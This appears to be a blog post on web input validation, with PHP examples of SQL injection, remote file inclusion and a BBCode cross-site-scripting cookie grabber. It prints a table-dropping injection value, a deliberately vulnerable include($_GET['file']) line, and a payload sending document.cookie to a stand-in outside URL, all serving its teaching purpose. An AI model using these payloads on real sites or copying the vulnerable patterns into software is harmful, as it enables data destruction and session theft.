I must first start this post with a comic on the topic ... it comes from xkcd.com.

Anyways, this shows one of the many reasons why one should never trust any input from a user. This means that you should assume that all users have malicious intent and are attempting to break into your site. Of course, this is not always the case however, when it is, bad things can happen all around. No matter how you are getting data from the user, be it through an input field, URL, hidden field, drop down list etc. users are able to change the information to better suit their attacking desires. This means always make sure that the data is within the bounds of what is expected! What are some examples of bad things which can happen from the user of exploits? I have listed two of the more common threats which I see on a day-to-day basis.

• SQL Injection - As portrayed in the comic from XKCD, if the correct security precautions are not in place, anything which is stored in your database can be eliminated within seconds or worse, modified in a manner you are not able to notice until it's too late. For example, if one is working on a website which has a built-in 'karma' system where the higher 'karma' a user has, the more things they are allowed to do on the site. If the website allows for SQL injection (accidentally of course), what is to stop the user from slowly increasing their 'karma' at a gradual rate until they have increased it so much that they are now in a new 'karma' category. Would this be noticeable? Probably not. Either way, if the user attacker truncates or deletes your tables, or even updates their records a bit to get more out of the site than they have achieved, these are all bad things which could happen ... and can easily be prevented by becoming aware of what is going on around you.
• Cross Site Scripting (XSS) - Security flaws unintentional coded into applications which will allow the user to inject special code onto a site which can be extremely detrimental to any site. A simple example of XSS would be a cookie grabber. A fair number of the cookie grabbers I have seen come from the use of BBCode and the lack of proper validation for it. The theory behind a simple cookie grabber is that it will use any pre-existing javascript on the site (or use it's own) in order to send site-specific information to a different source. However, cookie grabbers are not the only problems from XSS. If the correct precautions are not in place the use of PHP's "include" or "require" function can have your site acting as a portal through the internet for anybody to use as they please. Similar to SQL injection, this can be prevented with the proper knowledge.

Examples!

SQL Injection Just say you have a form where you allow the user to select how many records they want to display:

<form method = "post" action = "results.php">
How many records should be displayed?
  <select type = 'text' name = 'count'>
    <option value = '5'>5</option>
    <option value = '10'>10</option>
    <option value = '15'>15</option>
  </select>
  <input type = 'submit' />
</form>

And the back end of your application looks something like this:

    $query = "SELECT * FROM `news` LIMIT " . $_POST["count"];
    $res = mysql_query($query);

What is to stop the user from modifying one of the values in the drop down list to:

5; DROP TABLE `news`;

Nothing! However, if you don't prevent such a thing from being allowed in your query (i.e. not doing enough data validation), after the user runs that query, your entire 'news' table will be dropped from the system, which was probably not what was originally intended for the script. I have mentioned this method of prevention before, and I'll mention it again, SQL prepared statements. If data is sent in as a parameter rather than as a direct part of the query, there are no chances that the query may be mistaken and have two queries execute instead of one. Cross Site Scripting (XSS) These security vulnerabilities can be fairly hard to track down, however there is always a way. Simple XSS Just say you have your URLs as something like this: http://url.com/read.php?file=temp.php Where in your actual PHP script you have a server side include for whatever value was passed in through $_GET. Well, this is opening up an entirely new can of worms. Yes it works for pages which are on your server, however, it will also work for sites which are off site if you are not careful in your validation. Sample Code:

// This is a VERY bad idea, however it is only an example
include($_GET['file']);

If I were to change the URL from: http://url.com/file=temp.php To: http://url.com/file=http://www.google.com By default, PHP will not think anything of it. It will treat the website as a file stream just as it does the 'temp.php' which was originally passed in. And low and behold, somebody is now using your site to access Google. Lesson: validate and verify that the file exists LOCALLY before running the include. Cookie Grabber Since cookies are only accessible on the site which they are associated with, cookie grabbers must use this in order to get the information they need. A fair number of implementations of BBCode which I have seen have allowed for gaping holes because of this. For example, most implementations use regular expressions in order to pick up on the required information (which is what they should be used for). However, since urls and things can have a large number of characters, most programmers choose to use the greedy approach and use the 'anything but newline character' (the period). Regex (something similar to this, as I cannot remember the exact regular expression):

\[img=(.*)\]

This regular expression will then be replaced in the emitted HTML code to be:

<img alt="" src="$1" />

This is all fine and dandy, and it picks up what is required however, it also has the ability to pick up more than expected and/or desired. For example, if the following was provided it would allow the user to gain access to the cookies which are for a particular site.

[img=http://www.google.ca/logos/gabor10-hp.png" onclick="document.location.href='http://some_other_url.com/cookies.php?cookie='+document.cookie]

This has the potential for changing the emitted HTML into becoming:

<img alt="" src="http://www.google.ca/logos/gabor10-hp.png" />

Effectively causing your web browser to relocate to a different URL with your cookie in the link which they will then log for future use. Of course, if a little extra time was spent in the sanitation of the input problems like this can be filtered out.

Summary: In summary, never ever ever trust user's input. It will only lead you towards worlds of pain. Hope this helps!